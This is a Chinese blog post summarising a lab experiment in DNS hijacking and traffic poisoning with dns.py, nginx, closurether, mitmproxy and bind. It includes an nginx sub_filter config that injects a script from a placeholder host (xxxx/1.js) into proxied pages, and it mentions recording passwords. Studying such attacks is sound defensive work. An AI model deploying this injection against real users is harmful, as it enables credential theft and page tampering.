DNS劫持与内网投毒

不管前方的路有多苦,只要走的方向正确,不管多么崎岖不平,都比站在原地更接近幸福。
——————《千与千寻》

前言

很早以前做了这方面的一点知识,同时在网络上这方面的知识也已经有部分文章介绍过了,此篇权当一点小结。

技术要点

实验环境及原理

在很早以前(包括现在也有)当我们打开一些较为官方性的站点(HTTP)时,就会出现一些诸如色情广告、弹出其他页面、屏幕右下角出现小广告弹窗等这种现象,可能产生这种情况中原因之一就是被做了DNS投毒。

原理

运营商/攻击者通过劫持受害者用户的DNS地址然后将用户访问网站的IP地址解析到攻击者已控的网站,接着讲用户请求的流量通过反向代理/重定向到其他已控机器,当流量从已控机器返回时,在其中添加上自己想要的内容,诸如一些恶意JS文件,就可以在不影响网站原始内容的情况下弹出一些虚假投放的页面。

受害者请求的流量经过已控机器时,攻击者可以通过做反向代理,将受害者的流量正常发往原始网站指向的IP地址,当流量返回时,攻击者可以修改报文,进而达到攻击的效果。

例如最常见的,将改为,这样就在目标访问的站点中引入了一条JS文件,可以在用户访问的时候实行诸如弹窗、记录密码等常见操作。

试验环境

两台机器,一台做攻击者一台做受害者,手动修改受害者的DNS服务器地址来模拟用户受到DNS攻击(在实际情况中,如攻击者控制了路由设备等而受害者DNS地址又是自动获取的情况下就可以导致DNS地址被重定向)。

dns.py + nginx

一直还没怎么关注Sqlmap下的dns.py文件,看了R1ngk3y写的这篇文章1后故此了解。

默认dns.py文件会将所有的请求转发到127.0.0.1(脚本具体编写方式移步原文),修改后可以指定特定的域名,更改域名指定的IP为自己的IP,从而返回自己想要的内容。

dns.py将目标站点的地址重定向到已控机器,nginx做反向代理发出请求,可以在nginx配置文件中修改某些特定的值,诸如上边的例子,将</\head>改为<\script language=”javascript” src=”http://xxxx/1.js"></\script></\head>。

1
2
3
4
5
6
7
8
9
server {
listen 80;
server_name localhost;
location / {
sub_filter </head> '<script language="javascript" src="http://xxxx/1.js"></script></head>'
sub_filter_once on;
proxy_pass http://xxxxx.com;
}
}

缺点:用户若查看目标站点的IP(如ping)会发现IP为攻击者的IP。

nginx中其实还有很多相当好用的扩展,值得去扩展。

closurether

这篇文章是参阅2,大牛博主写了个NodeJS脚本,可以同时实现DNS劫持 + JS脚本投毒的操作,但是唯一的缺点就是对方ping的全部IP都是攻击者这边的IP。

1
npm install -g closurether

然后找到closurether,启动成功,会看到用户的每一个请求,接着在closurether目录中找到config.json 与 extern.js,你自己懂如何修改,之后在受害者那边刷新就可以看到效果了。

缺点:同上。

说是别的协议在第二次请求会返回真实IP但是测试时并不会显示,难道是测试方法不对?

mitmproxy

参考文章3,当初测试的时候还是出现了一些问题,此条略。

bind + nginx

bind做DNS解析搭配Nginx做反向代理,可较为完美的实现IP隐藏以及流量投毒。

代码略微敏感,就先不放出来了。

至此完毕,也再次谢谢各位博主分享的知识。

参阅文章

1、技术分享 | 劫持DNS通过流量植入木马实验
2、WiFi流量劫持—— JS脚本缓存投毒
3、使用 mitmproxy + python 做拦截代理